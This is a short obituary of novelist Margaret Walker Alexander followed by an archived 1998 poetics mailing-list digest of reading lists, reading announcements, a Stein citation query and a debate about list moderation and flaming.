``Jubilee,'' published in 1966, told the story of the daughter of a slave and a white plantation owner. The New York Times Book Review said it ``chronicled the triumph of a free spirit over many kinds of bondage.''

``Margaret Walker Alexander was a woman for all seasons,'' said Clarence Hunter, a Tougaloo College archivist. ``She was a poet, a novelist, a teacher, a mentor, a scholar, a humanitarian, an activist, a fighter for rights of people. She was everything you can expect of a great woman.''

Ms. Alexander was born in Birmingham, Ala., on July 27, 1915, the daughter of a college professor. She moved at age 10 to New Orleans and left the South for college. She graduated from Northwestern University in 1935 and received master's and doctorate degrees from the University of Iowa.

In 1949 she became a professor at Jackson State University, where she founded the Institute for the Study of the History, Life and Culture of Black People in 1968. She served as its director 11 years, and the center was later renamed in her honor.

``I don't know anybody who has captured the heart and soul of black people any more than she did,'' said Alferdteen Harrison, director of the institute.

In all, she spent the past five decades in teaching and writing in Mississippi.

``She could have been in New York and been a big, big name,'' said Wanda Macon, a professor of English at Jackson State University. ``She stayed connected to the soil, stayed connected to the voices she heard and the voices she wrote about. That was just as important to her as the fame.''

Ms. Alexander sued author Alex Haley in 1988, alleging his book ``Roots'' infringed on her copyright for ``Jubilee.'' The case was thrown out of court.

Ms. Alexander, who was a widow, died in Chicago, where she was visiting one of her four children.

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31. MAYHEW
Re: Free Poetices & A self examination
Tue 1 Dec 1998

A few suggestions for listafarians: posts should be at least as well written as prose; to use no solecism, typo, or misspelling that is not necessary to the presentation; to read what you are responding to; to come to the point in the first five pages of a post; to accuse noone of racism or crimes against humanity gratuitously; to compose in the sequence of a musical phrase, not in the sequence of the metronome...

Jonathan

↑ Index

32. Billy Little
Re: Response to Bernstein: What is a Discoball of Wrath?
Tue 1 Dec 1998

OK i'm a geezer, i drank too much w/oppenheimer, smoked too much w/olson, being old fashioned i believe that poetry requires nurturing irreverence/questioning authority. The corollary of Pound's notion that everyone deserves to have their ideas considered one at a time, is that if somebody has a great idea once doesn't mean their next idea isn't ridiculous, witness pound. so everyone, even the buddha, may be, should be, will be challenged. The challenge should be anticipated in the emotional budget, appreciated as a negative praise(you're important enough to be challenged in the first place, you're worth the effort) and maybe, if you're old enough or important enough or published enough you'll actually be stirred by the opposition to outdo yourself to disprove the rude upstart's ridiculous assertions. Duncan used to say if you haven't published a new masterpiece for six months in San Francisco they come around banging on your door hollaring Robert, you're all washed up, you phony phruitcake, you couldn't write your way out of a lemon meringue pie. Is that Joanne Kyger knocking? Or George Stanley? So all this to say I think Gabriel Gudding should be unleashed, i don't expect i'll ever agree with everything he has to say, but i appreciate his risk, and when i double click on his message among my morning 35 i'm prepared to be astonished, i suspect he's young, and nervous to be playing in the same pen with the demi-gods, and trying to do the same thing that Bromige and Johnson and McGrand do so well, parrying and exasperating the opponent, but being less sure(or experienced) he's gotta go one better and actually tweek the nose or pinch the cheek. It may be excessive but excess and poetry are like a hoarse and carriage. Wieners screaming at Creeley in the bars of buffalo, cackling at Al Poulin's reading. Corso heckling Ginsberg in

Vancouver. Opera is one of the necessary correctives for a language polluted by journalists superlatives, politician's pieties, and psychophants hipocrisy.

irrepressibilly,

billy little
4 song st.
nowhere, b.c. V0R1Z0
[redacted]

Go ahead and say something true
before the big turd eats You
You can say any last thing in Your poem.

-Alice Notley

↑ Index

33. Kathy Lou Schultz
LIPSTICK ELEVEN: It's a party! It's a reading!
Tue 1 Dec 1998

Friday, December 4, 7:30 p.m.
Small Press Traffic
New College Cultural Center, 766 Valencia, San Francisco
$5

Featuring LIVE THEATRE Luminaries Kevin Killian, Wayne Smith, Rex Ray, Clifford Hengst, and Scott Hewicker in a scene from Killian's and Smith's "Diamonds and Rust." Don't miss this once-in-a-lifetime opportunity to see Norma Cole as Isabella Rossellini!

FICTION (etc)
Mike Amnasan
Dodie Bellamy
Robert Gluck
Camille Roy

POETRY (etc)
Norma Cole
Jocelyn Saidenberg
Brian Strang
Rodrigo Toscano
Truong Tran
Robin Tremblay-McGaw

PLUS: Fabulous, FREE raffle prizes!

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34. Tosh
Re: Current reading (non poetry)
Tue 1 Dec 1998

Scott Walker: Another Tear Falls by Jeremy Reed
The Glamour Chase: The Maverick Life of Billy MacKenzie
You Don't Have To Say You Love Me by Simon Napier-Bell
Starmaker & Svengalis by Johnny Rogan
One Thousand and One-Second Stories by Inagaki Taruho
I Spit on Your Graves by Boris Vian (a TamTam project)

Tosh Berman
TamTam Books

↑ Index

35. Karen Kelley
Re: Current reading (non poetry)
Tue 1 Dec 1998

Thanks for the tip--I love books like this! There was an amazing article on Ernest Henry Shackleton's Antarctic shipwreck in a recent national Geographic. And lots of books on the disastrous Everest expedition of a few years back--John Krakauer's _Into Thin Air_ and Anatoli Boukreev's _The Climb_ being fascinating accounts (and rather remarkably *different* accounts) of the same events. I love these stories of extreme experiences, and I love Kafka, but I've never thought to think of them together---- But I love these horrifying stories that take place in frozen environments, and my favorite Kafka story is "A Country Doctor"--hmmm, maybe not a coincident...

> *Alone -- Admiral Richard E. Byrd -- an account of his solo expedition during the Antarctic night in the interior of that continent. What's fascinating about the book is that the very technology that allows him to inhabit his small cabin in -70 degree weather is the same technology that is slowly killing him. Carbon monoxide poisoning from an oil stove and a hand-cranked radio (connecting him to the hq at Little America) which saps what little strength he has left. This book led me to reread Kafka's short story, "The Burrow."*

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36. charles alexander
reading list
Tue 1 Dec 1998

Sigmund Freud, Introductory Lectures Making Worlds: Gender, Metaphor, Materiality, ed. by Susan Aiken, Ann Brigham, Sallie A. Marston, Penny Waterstone Small Sculptures of the 70's, Richard Tuttle (this one is amazing) several issues of The Journal of Artists' Books, ed. Brad Freeman Bolinas Journal, by Joe Brainard (not poetry, although there are a couple of poems in here) canadas (there's a little more to the title, but it seems only reproducible in its own typography, which my email program will not emulate) -- this is also Semiotext(e) #17, 1994 -- just sent to me by a friend, thank you very much and some html and web graphics books

charles

↑ Index

37. Mark DuCharme
Re: stein quite quote
Wed 2 Dec 1998

>can anyone tell me where i can find stein's famous "a rose is a rose is
a
>rose is a rose"? i know it's several places, i just need one bibl.
>reference.

I believe it's in _Four Saints in Three Acts_, her play which was set to music by Virgil Thompson. I'm not sure where in that text it appears, nor do I know in which of her collections the complete text appears. It's _not_ in _The Yale Gertrude Stein_. An excerpt from it appears in _Selected Writings_ edited by Carl Van Vechten.

Mark DuCharme

_____
Get Your Private, Free Email at http://www.hotmail.com

↑ Index

38. George Bowering
Re: stein quite quote
Wed 2 Dec 1998

> *can anyone tell me where i can find stein's famous "a rose is a rose is a rose is a rose"? i know it's several places, i just need one bibl. reference.*

The World is Round

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

39. J Kimball
Nonpoetry reading
Wed 2 Dec 1998

Deviant children grown up. L. Robins

Joan of Arc. M. Warner

Art and beauty in the Middles Ages. U. Eco.

Stituational Chinese. Beverly Hong

The narrative of the life of Frederick Douglas, an American slave, written by himself.

Aviation English. Shozo Yokoyama

Animal sounds and communication. W. Lanyon & W. Tavolga (Eds.)

How to do things with words. J. L. Austin

Building a winning strategy. Pharmacia & Upjohn

↑ Index

40. Louis Cabri
PhillyTalks 8
Wed 2 Dec 1998

I'm currently reading the next installment in the PhillyTalks newsletter project, #8, which is now available, featuring "dialogue" between Rod Smith and Bruce Andrews, prelude to their live encounter Dec. 10 in the Philadelphia Kelly Writers House, 3805 Locust Walk, at 6pm, (215-573-writ).

PhillyTalks is available from:
Louis Cabri
4331 Pine St., #1R
Philadelphia, PA
19104

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41. Jim Bennett
Help
Wed 2 Dec 1998

Hello listies

I have been collecting information about PAUL AUSTER for a paper about his work esp his poetry. I obviously have the books and translations which he has written, but I would be grateful to make contact with anyone who knows him, knew him or has any information which may be of use. (I have tried to contact him direct but I think I have an old address). I am still in the collation phase at the moment and am looking for a direction from which to approach the subject.

His early struggles strike me as poignant, and the story of the manuscript of "The Chronicles of the Guayaki Indians. All very interesting esp in the light of his piece "Why Write?" from "The Art of Hunger".

Thanks

Jim

↑ Index

42. Jim Bennett
Re: reading list
Wed 2 Dec 1998

Dear all,

Here are my offerings.

The Chronicle of the Guayaki Indians. by pierre Clastres (trans, Auster) Highly recommended, a wonderfully evocative story of an amazing people.

The Art Of Hunger, Paul Auster
Some great writing (and some not so great)

The Birth of the Beat Generation, Steven Watson.
One of those I just keep going back to.

Love and lots of it

Jim

Click on this link to vote for my site. http://conline.net/vote.mv?id=1780

Click on this link to visit my site.
http://www.geocities.com/Athens/Academy/1127/

"Poetry is what the future makes of it." John Garner (after Basho)

↑ Index

43. Joe Brennan
Re: Response to Bernstein: What is a Discoball of Wrath?
Wed 2 Dec 1998

In a message dated 12/1/98 9:02:18 PM Eastern Standard Time, [redacted] writes:

<< I think Gabriel Gudding should be unleashed, i don't expect i'll ever agree with everything he has to say, but i appreciate his risk, >>

amen to this....

jb...

↑ Index

44. Karen Kelley
Re: reading list
Wed 2 Dec 1998

Will you say more about the Chronicle? Is it a field study? When was it written?

Jim Bennett wrote:

> *Dear all,*
>
> *Here are my offerings.*
>
> *The Chronicle of the Guayaki Indians. by pierre Clastres (trans, Auster)*
> *Highly recommended, a wonderfully evocative story of an amazing people.*
>
> *The Art Of Hunger, Paul Auster*
> *Some great writing (and some not so great)*
>
> *The Birth of the Beat Generation, Steven Watson.*
> *One of those I just keep going back to.*
>
> *Love and lots of it*
>
> *Jim*
>
> *Click on this link to vote for my site. http://conline.net/vote.mv?id=1780*
>
> *Click on this link to visit my site.*
> *http://www.geocities.com/Athens/Academy/1127/*
>
> *"Poetry is what the future makes of it." John Garner (after Basho)*

↑ Index

45. WENDY KRAMER
raddle moon
Wed 2 Dec 1998

could you backchannel with subscription address again please? i lost it thanks,

wendy

↑ Index

46. ken|n|ing
WWW LITPRESS COM
Wed 2 Dec 1998

Has anyone out there been checking the listings at www.litpress.com lately? They seem to have fallen behind, which is reasonable considering the amount of material they likely must sift through each week. At any rate, I'm posting my query to the list so as to alert you all to their service, a valuable one I think. Are they still up and running? Patrick F. Durgin

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                    |
k e n n i n g``````````````|```````````````````````````
a newsletter of contemporary |poetry,  poetics,  and  non-fiction writing
                    |418 Brown St. #10  Iowa City, IA 52245  USA
```

↑ Index

47. Jasper Bernes
Re: stein quite quote
Wed 2 Dec 1998

Maria Damon:

yes, it's in TENDER BUTTONS. I don't know who publishes it.

Jasper Bernes

On Tue, 1 Dec 1998, Maria Damon (Maria Damon) wrote:

> *can anyone tell me where i can find stein's famous "a rose is a rose is a rose is a rose"? i know it's several places, i just need one bibl. reference.*

↑ Index

48. David Cameron
poetics list
Wed 2 Dec 1998

I received a message asking for my name, address & telephone number. Before I give out this information, why do you need to have it? Your message states that you need it for your records, but why do you need my phone number? Please reply with the insurance that you will not be giving out my personal information to any phone/mail solicitors, and that you will not be calling to solicit me.

David Cameron

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49. Michael Magee
Re: stein quite quote
Wed 2 Dec 1998

TB is from Sun & Moon Classics -m.

According to Jasper Bernes:
>
> Maria Damon:
>
> yes, it's in TENDER BUTTONS. I don't know who publishes it.
>
>
> Jasper Bernes
>
> On Tue, 1 Dec 1998, Maria Damon (Maria Damon) wrote:
>
> > can anyone tell me where i can find stein's famous "a rose is a rose is a
> > rose is a rose"? i know it's several places, i just need one bibl.
> > reference.
> >
>

↑ Index

50. Mark Prejsnar
that dreary nonpoetry stuff
Wed 2 Dec 1998

1. Bookend : anatomies of a virtual self. Joe Amato. **Well, this has to be called "sort of non-poetry;" out of control and a wild ride. i'll post something on it when i feel able to cope. But *should not* be missed.

2. Many thousands gone : the first two centuries of slavery in North America. Ira Berlin. **Strong emphasis on the ways African Americans fought within slave-society for areas of autonomy, as well as for complete freedom.

3. Early downhome blues : a musical and cultural analysis. Jeff Todd Titon. **There are two books that should be read to begin to learn about blues (by which i mean the country blues, the real stuff): the first is David Evans' Big Road Blues. This (which i've just discovered) is the only study that comes close to Evans'. And the 1994 2nd edition comes with a fabulous 19-track CD.

4. Mapping the West European left. ed. Perry Anderson. **A bit dated but solid.

5. Tula : the Toltec capital of ancient Mexico (Diehl) and Chalcatzingo : excavations on the Olmec frontier (Grove). **i'm a mesoamerica nut (i think Olson got me started in that direction when i was about 15, but i seem to have repressed this, and only recently recalled that that was how it happened..) These are a little dry if you don't share my obsession but accessible, and cool for anyone who likes archeology.

6. Seven faces : Brazilian poetry since modernism. Charles Perrone. I think *everyone* should read this!! It's a great discussion of "my other country's" poetic development from 1930 to the present. Perrone is very sharp and political and always makes the right call in juding the importance and success of different poets and movements (which is to say, i always agree with him). Style is a sort of dryly idiosyncratic post-Derrida academicspeak, influenced rather a lot by Portuguese and French theoretical prose. But substance-wise this is super.

prosily,
mark

↑ Index

51. Joe Amato/Kass Fleisher
Re: Response to Bernstein: What is a Discoball of Wrath?
Wed 2 Dec 1998

that was a great post by dave chirot...

let me offer a few more thoughts, and i apologize once again for any hint of self-righteousness:

if anyone should think it impossible to destroy a list "community" forever and ever, think again... it's happened, i've seen it happen, and it ain't a pretty sight (and this has been said around here before)... this is a region of our own doing, as tentative and perishable as anything else human...

so while i'm all for letting folks do what they do, so to say, i'm also for some working sense of self-restraint (modulations as implied in what follows)...

charles b. is trying to use what tools the establishment has given him in order to help make this place livable for 700+ subscribers---no easy task... which is to say, he has a certain responsibility as list moderator to *everyone* on the list---much as we have a responsibility to one another [he sez]... after all, this *is* a moderated list, whatever one thinks of same---and there are reasons why it's moderated (which we can discuss at length)... but those of you who have served (even as) listowners, like me, will no doubt be able to address the difficulties of keeping such a list going in productive directions w/o the potentially damaging fall-out of nastier exchange... (((and yes, i'm using what amounts to media-ecology language here, and i think it appropriate)))...

and to reiterate: it's simply not the case that everyone --more specifically, every so identified grouping -- feels equally "at home" hereabouts, for all sortsa reasons (i might mention gender as an operating construct, but wish to avoid another jihad)... and it's simply not a matter of "if you can't stand the heat, get out of the kitchen" (this should be self-evident)... so the way i see it, folks should be attentive to the list environs as such, whatever their intentions or motivations, and stop to consider whether they really wish merely to alienate, or insult, or offend, or silence, or drive away (all as opposed, say, to raising anxieties)... i don't say we should in any sense aim to please -- and i understand only too well the necessary risks that come of pushing those envelopes -- but i *do* say that, however outlandish or unorthodox our sentiments, we should find a way to respond to what's coming *back to us* via the list, and not continue as though "no harm could possibly be done"... assuming we value a diverse list population, we can prove our commitment to same only through our actions---which around here = words...

finally: i regard this medium we're all busy exploiting as still quite new, despite how tried & true it often seems... it allows for more performative posts, near-synchronous exchange, fairly deliberate exposition, quick procedural communique, tones of moral indignation [mea culpa], on and on and on... over time i suspect we'll all learn better how to tickle these keys, to offer up our wildest dreams in ways that won't give offense (thoug of course we'll no doubt give offense too, being only human)... but folks, we often don't know one another all

that well---e.g., despite the incredible rhetorical skills that so many of you possess, you can't really see/hear me winking at you right *now*, saying in so many words "but you don't need me to tell you this, right?"...

---

and if all of this sounds impossible, well that's something worth aiming for i think...

///

joe

↑ Index

52. Pritchett,Patrick
Re: that dreary nonpoetry stuff
Wed 2 Dec 1998

I hardily concur with Mark Prejsnar's endorsement of Joe Amato's _Bookend: Anatomies of the Virtual Self_. There _is_ a method to the madness, but I'm having too much fun with it to say yet just what that might be.

Also reading:
Marvelous Possessions by Stephen Greenblatt.
The Recognitions by William Gaddis.
Gravity & Grace by Simone Weil.
The Sin of the Book: Edmond Jabes, edited by Eric Gould.

Patrick Pritchett

↑ Index

53. Edward Foster
This week-end in New York
Wed 2 Dec 1998

Friday, December 2nd

Talisman benefit reading by

Lyman Gilmore (_Don't Touch the Poet: The Life and Times of Joel Oppenheimer_)
Joel Lewis (ed. _Reality Prime: Selected Poems_ by Walter Lowenfels)
Maureen Owen (_American Rush: Selected Poems_)
Ed Roberson (_Just In: Word of Navigational Challenges: Selected Poems_)

Terrific refreshments, wonderful conversation, great poems

Denise Bibro Gallery
429 W. 20th Street, 4th floor
7:00 p.m.

(Copies of Ed Roberson's _Just In_ and the new edition of William Bronk's _Some Words_ arrived at Talisman Central from the printer yesterday and will be unveiled at the reading.)

AND:

Saturday, December 3rd:

Goats & Compasses benefit reading by

> Zhang Er
> Ed Foster
> Anne Mette Lundofte
> Eleni Sikelianos

Together with an exhibit of _beautifully_ designed books. Just when you thought everything would soon be on a computer screen, Goats & Compasses arrived to prove that paper and ink are still provide the best way to read poems.

Trans Hudson Gallery
416 West 13th Street
6:30 P.M.

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54. Brian Carpenter
non-po reading
Wed 2 Dec 1998

---

my captivating list...

-- Hayden White, Metahistory: the historical imagination of ninteenth centuty europe

-- Gaston Bachelard, The Poetics of Reverie (reread), trans. daniel russell (i think)

-- Greg Bear, Anvil of Stars (aliens! exploding planets! starship intrigue!)

-- Carl Sauer, Land & Life: collected essays

-- Merleau-Ponty, Phenomenology of Perception (ever so slowly...)

phew!

BC

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55. A. Jenn Sondheim
performance
Wed 2 Dec 1998

This Sunday at PS122 I think at 4 or thereabouts, Foofwa d'Immobilite (dancer Freddie Gaffner who worked with Merce Cunningham for years, still stars in Ocean) and myself (shamisen) will be doing a performance as part of an improvisational series; I'm slightly hazy on this, but you might enjoy it, even if the shamisen gives out... PS122 is on the corner of 9th and 1st Ave in NYC. Alan

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56. raea100900
An error in my interview with...
Wed 2 Dec 1998

Hi all-

Apparently, I said at least one silly thing in my interview with Teachers and Writers Collab (www.writenet.org). Apparently, though I can't bring myself to check, I claimed that Ron Silliman once read aloud from his work on a bus. Of course, I should have said that he and 26 other people read from Tjanting in various public sites, including (I think) a Bart station. I knew that, but I find that almost anything can pop out of one's (my) mouth during a taped conversation. Pretty alarming. I only looked at the site myself long enough to determine that I was having a very bad hair day. Sorry Ron.

Rae Armantrout

↑ Index

57. Mairead Byrne
Re: Response to Bernstein: What is a Discoball of Wrath?
Wed 2 Dec 1998

On Wed, 2 Dec 1998, Joe Amato/Kass Fleisher wrote:

>
> let me offer a few more thoughts, and i apologize once again for any hint
> of self-righteousness:
>
It's not so much the self-righteousness as the overweening earnestness.

> *charles b. is trying to use what tools the establishment has given him in order to help make this place livable for 700+ subscribers---no easy task... which is to say, he has a certain responsibility as list moderator to *everyone* on the list---much as we have a responsibility to one another*

*[he sez]... after all, this *is* a moderated list, whatever one thinks of same---and there are reasons why it's moderated (which we can discuss at length)... but those of you who have served (even as) listowners, like me, will no doubt be able to address the difficulties of keeping such a list going in productive directions w/o the potentially damaging fall-out of nastier exchange... (((and yes, i'm using what amounts to media-ecology language here, and i think it appropriate)))...*

*and to reiterate: it's simply not the case that everyone --more specifically, every so identified grouping -- feels equally "at home" hereabouts, for all sortsa reasons (i might mention gender as an operating construct, but wish to avoid another jihad)... and it's simply not a matter of "if you can't stand the heat, get out of the kitchen" (this should be self-evident)... so the way i see it, folks should be attentive to the list environs as such, whatever their intentions or motivations, and stop to consider whether they really wish merely to alienate, or insult, or offend, or silence, or drive away (all as opposed, say, to raising anxieties)... i don't say we should in any sense aim to please -- and i understand only too well the necessary risks that come of pushing those envelopes -- but i *do* say that, however outlandish or unorthodox our sentiments, we should find a way to respond to what's coming *back to us* via the list, and not continue as though "no harm could possibly be done"... assuming we value a diverse list population, we can prove our commitment to same only through our actions---which around here = words...*

*finally: i regard this medium we're all busy exploiting as still quite new, despite how tried & true it often seems... it allows for more performative posts, near-synchronous exchange, fairly deliberate exposition, quick procedural communique, tones of moral indignation [mea culpa], on and on and on... over time i suspect we'll all learn better how to tickle these keys, to offer up our wildest dreams in ways that won't give offense (thoug of course we'll no doubt give offense too, being only human)... but folks, we often don't know one another all that well---e.g., despite the incredible rhetorical skills that so many of you possess, you can't really see/hear me winking at you right *now*, saying in so many words "but you don't need me to tell you this, right?"...*

-----

and if all of this sounds impossible, well that's something worth aiming for i think...

///

joe

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58. miekal and
interactive geographies
Wed 2 Dec 1998

on another channel, John Kinsella has initiated a writing project among the poetry etc listees, writing a paragraph of prose about their locality, everything submitted to the list to be coagulated & re ordered & released as a Salt chapbook....just to show that real work is possible in the email environment--

poetry etc - a list administered by John Kinsella - http://www.geocities.com/SoHo/Square/8574/

miekal

sorry I havent jumped into the various frays, tho I feel disappointed that the real issues of media ecology, sustainability & community are not discussed with the same passion & investment that perloff & the listbrats are. its quite obvious that one wouldnt spend the time to fire off elaborate quips if they didnt really feel like they were part of something worth being part of. (speaking of interactive geographies....

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59. Mairead Byrne
Re: Response to Bernstein: What is a Discoball of Wrath?
Wed 2 Dec 1998

Sorry Joe, I was just rolling up my sleeves to reply at more length to your post when I was overcome by irresistible ennui, decided to leave it till later, and pushed the wrong button by mistake: another factor of exhaustion, I'm afraid. So I didn't intend to dismiss your whole post with one aside. I suppose what I was shaping up to say was that I like the short, the sharp, the funny. I find much of the posting here exclusive: I think it was David Bromige who posted Thanksgiving greetings to nine or ten of his list-mates, exclusively male. Maybe the way discourse unfolds, and between whom, and in response to whom, is less noticeable than gg's jigging around. If one has to be reasonable all the time, posts get very opaque and tedious. As far as moderation is concerned, I'm somewhat at a loss. Since I moved to New York state, I have noticed a desperate belief in rules and control: maybe it's just a bad run of luck. But are the ravening hordes of Poetics folk, all 700 of them, champing at the bit and in need of regular settling down lest they turn into crazed beasts? They seem pretty quiet to me; even gg confesses to being mousey. Anyway, I'm glad when posts are open enough to let me squeak in: vivas for those who have "failed"! Mairead

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60. Joe Amato/Kass Fleisher
Re: Response to Bernstein: What is a Discoball of Wrath?
Wed 2 Dec 1998

mairead, yes, i'm being 'overweeningly earnest,' i think you're right... i apologize for that too, but am willing to venture same to help settle things down.. i really don't know WHAT the lurkers on this list are thinking---but i'll say again that i've found that flames of the sort experienced here of late CAN in effect shut a list down, simply by silencing and/or chasing away otherwise interested parties...

anyway, that said, and to pick up on two other items: (1) i'm anything but mousy, and (2) re new yorkers and rules: i hail from syracuse mself so

WHAT'S IT TO YA?!...

just kidding///

best,

joe

↑ Index

61. Eliza McGrand
free (speech, typos and all) poetics
Wed 2 Dec 1998

jonathan

i know you mean well, and so forth. but do you know what i am reminded of? more than once, i've gotten a badly spelled, cliched, boring, banal, self- contradictory (in a stupid way, i.e. "she pursed her cherry red lips with pain/ and yearned after his tender kiss again/ and then her pale face and lips withdrew/ to the lonely aching sorrow she did so knew") poem, have sent back crits that were fairly blunt and pointed out tired images, contradictions (i.e. pale lips and cherry lips, so which is it?), made suggestion that poet write POETS words, not borrow others. and gotten back some silly, spiteful bit of junk complaining because i don't use uppercase letters in the email and there was a typo.

listen, all day, all bloody day and weekend and many a night i sit about picking and picking and particularizing -- my words, other people's words, picking and picking fo r typos, slurring of logic/intent/word meaning, and i am simply sick and tired of it. there has to be a place in my life, writing, where i do not have to be so painfully painstakingly careful but can be relaxed. now, i claim email for this. i'm not the only one -- one of the charms of email, and net, has been the "quick" nature, and the funny typos. it is also one of the dangers, witness

painful nature of "flames." none of this is particularly original -- there is lots of lit. on subject of email/net writing.

i would rather pay attention to the content of posts, ideas, analysis, than waste my time picking and spitting over typos, demanding things be polished and pretty and spare. we all do enough of that elsewhere. so no, i don't have a problem with misspells, typos, etc. unless they are in a citation and cause me to spend more time finding something, or unless the typo/misspell distorts one's words. i would take time to de-typo a quote, that seems only fair. but i will not stop being comfortable and quick on posts when i feel like it and i for one would not want anyone else to.

e

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62. Eliza McGrand

Re: free (speech, typos and all) poetics

Wed 2 Dec 1998

---

i don't mean to compare you, by the way, to the Awful Writer. but what i do want to bring to earth is that Awful Writer writes me back rude silly responses completely discounting pretty good crit on writing because i am not rolling on my back salivating, i.e. giving AW the response they want. and rather than consider my content, he/she picks on my form. it is sad, a little funny, a lot pathetic, and a terible waste of time, theirs and mine.

you request that psots be perfectly spelled, etc. and i do not doubt that part of that arises from a finely tuned "reading" ear. but there is fun in cacophany. and i think you are wasting your time in form at the expense of content, and even, missing an integral aspect of this email "form" -- its spontaneity.

huzzah for the quick, huzzah for the spontaneous.

but also, huzzah for those posts which one thingks about a bit, rereads, proofs -- i "tolerate" those as well! am catholic in my tastes! (which is, by the by, a very odd turn of phrase. it means open to many things, but one would think a person "catholic" in their tastes would be exceedingly jesuitical and particular. i know the religeuses in charge of my early indoctrination never struck me, then or now, as open to many things!).

e

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63. schuchat
two or three things
Wed 2 Dec 1998

1. I noticed in some post or another a reference to Charles Bernstein as the "gray professor of poetry" at SUNY Buffalo. Say it ain't so! I do not recall Charles as gray in any sense.

2. Non-non poetry reading:

DARK -- Hoa Hyugen -- I strongly recommend this book.

CLINCH -- selected poems of Michael Scholnick, just published by Coffee House. Wonderful works, some echoes of Reznikoff, Denby and Hart Crane. I strongly recommend this as well.

ROOTS AND BRANCHES -- my favorite Duncan, often to which I permitted to return, etc.

LIFE & DEATH, Robt. Creeley

MYSTERIES OF SMALL HOUSES, A Notley

WORKS & DAYS, Bill Luoma

all recommended, actually.

3. So what about translation. American into other languages, that is. My Russian vocabulary is probably already adequate to translate some Stein into Russian, but would it sound like Stein in Russian? How to translate Ashbery into another language -- other than French, of course. (I prefer "you" in the plural. -- how do you do that without our unique second person?) Go for texture? Would reproducing the sensory surface have the same effect in Swedish or Japanese? What about Clark Coolidge or Bob Grenier? If you were translating WCWilliams into a rhyme-rich language, would you go out of your way to avoid rhymes or what? I recall that one among we listniks has translated THE PISAN CANTOS into Chinese, what a wonderful idea, I need to read this version. Anyone read any other current American poetry in other languages?

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64. Steven Clay
Announcing 'Figuring the Word' by Johanna Drucker
Wed 2 Dec 1998

<fontfamily><param>Geneva</param>Figuring the Word: Essays on Books, Writing and Visual Poetics collects diverse writings by Johanna Drucker previously published in literary and scholarly journals. Topics include: "The Word Made Flesh," "Writing as Artifact," "Visual Poetics," "Artists' Books Past and

Future," "The Future of Writing," & "Personal Writing." The book also includes an anecdotal checklist of Drucker's artists' books and an informative introduction by poet Charles Bernstein.

"Figuring the Word is a work of poetics rather than criticism or theory in that these essays are the products of doing as much as thinking, of printing as much as writing, of designing as much as researching, of typography as much as composition, of autobiography as much as theory. The mark of the practitioner-critic is everywhere present in these piecesŠFiguring the Word is a wide-ranging collection of Drucker's essays from the early-80's to the present. Written in a variety of styles and presented in a variety of formats, the book reflects many divergent aspects of her work and thinking, while at the same time demonstrating how cohesive her project has been. Drucker begins with a wonderfully digressive discussion of her work as a book artist in which she gives an account of what lead her not only to her book art, but also to her related scholarly investigations. She then provides a series of close readings of the work of a number of contemporary language artists, providing in other essays overviews of the historical precedents for this work. The book includes not only a perceptive essay about the use of language in the landscape but also a prescient essay about the use of language in the new electronic frontier of cyberspace."

-from the introduction by Charles Bernstein, Poet, Editor and David Gray Professor of Poetry and Poetics at SUNY-Buffalo.

Johanna Drucker has been making books since 1972. Her recent critical publications include The Century of Artists Books (Granary Books, 1995), The Alphabetic Labyrinth (Thames and Hudson, 1995), Theorizing Modernism (Columbia University Press, 1994) and The Visible Word (University of Chicago Press, 1994); creative titles include: Prove Before Laying (Druckwerk, 1997) and Narratology (Druckwerk, 1994).

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300 pages; illustrated throughout.

Available at better bookstores, our primary distributor D. A. P. (1-800-338-BOOK); Small Press Distribution ([redacted]), or direct from the publisher: Granary Books 568 Broadway #403 New York, NY 10012 ([redacted]; [redacted])

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65. david bromige
Reads On Busses
Wed 2 Dec 1998

Listfolk, I dont think Rae should have to apologize for alleging Ron Silliman read his poetry out loud on a bus, do you? It's certainly time for the apocrypha of Language Writing to commence, non? If Ron didnt read out loud on a bus, well he ought to have, and it fits in with Barrett Watten's remark re most non-Ron poetry : "A bus ride is better than most art." While it is true that Ron and 26 or 46 of us read Ketjak (or Tjanting) aloud in a Bart station, I would rather hear of the events that never happened, but should have. David

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66. David Zauhar
Re: Reads On Busses
Wed 2 Dec 1998

On Fri, 27 Nov 1998, Charles Alexander wrote:

> *I know I read Tjanting on a bus. And that ride WAS better than most art.*
>
> *charles*

Once read Ted Berrigan's _Train Ride_ going from Kingston RI (not quite Providence) to Boston. . . And last March read most of Johnson's ARK on a weather-delayed Amtrak surrounded by whispering Amish and passing Ohio/Pennsylvania countryside.

DZ

↑ Index

67. david bromige
setting the record straight
Wed 2 Dec 1998

> *Happy Thanxgvng everybody!*

By 'everybody,' I meant women as well as men, and you, Mairead, for your pithy posts, especially. That I had named 7 men (not 9 or 10, though a line always seems longer when you're waiting to hear your name called) before my general greeting, was down to it being a 'men's group energy morning' for yours truly. When the vibes are turned towards the female, the balance will be restored. What goes around, comes around. As my ex-wife, who had already quit, said when she looked in my car ashtray and saw all the Vantage butts on my side, and all the True Menthol 100 butts my girlfriend smoked on the other, "Kharma." I havent the faintest idea why she said that then. Because the car

was a Kharman-Ghia? Anyway, be that as it may, I feel discomfort at the beam Political Rectitude turned my way by Mairead's post. Is this how it has to be, equal gender time in all of one's posts? Gee, it's like when the kids were real young, and you had to be extra-careful when handing out candy in case there were tears before bedtime. Has anyone done a count to see which males and females of us frequent posters respond more often to male than female posts, or vice versa? And then there is the problem of cross-dressers, like George Bowering. Or Rachel Loden. Or.....David.

↑ Index

68. Eliza McGrand

Re: setting the record straight

Wed 2 Dec 1998

---

i HAVE done a count. in fact. ehr hum.... here is MY count, by ME, that is my very OWN count...

male posters, featuring explicitly male anatomy, have been banned in fifteen states along with assault rifles. 9 out of 10 doctors assure us there is a corollary, which could require an emergency bypass. that is why the male posters do not speak from their mouths.

ten out of nine posts are by women over the age. they did not consent to this posting, and all acts that are non consensual are deplorable and should be banned.

if ron silliman tries to read on a bus, he should be banned, unless he has a poster featuring explicit anatomy (exquisite, male, or female) in which case he should be banned twice and his assault rifle should be taken aaway. nor is smoking allowed.

rachel loden and rachel lewinsky both are to be allowed to post, but must wear their explicitly female outfits before posting. this could include (but is not limited to) the domestic, the maternal, or anything drip dry with pleats.

if george bowering appears in pleats everyone must turn in their assault rifles and then bowering should be made to sit down. he may post female posters but not post female posts. bully for george, huzzah. huzzah.

david bromige always wears white suits, ice cream suits, rather like colonel sanders. if he exists (bromige OR sanders, there is controversy regarding both). numerous people have sighted him, in white suits. so he can post either as a male or as a female, just not after memorial day.

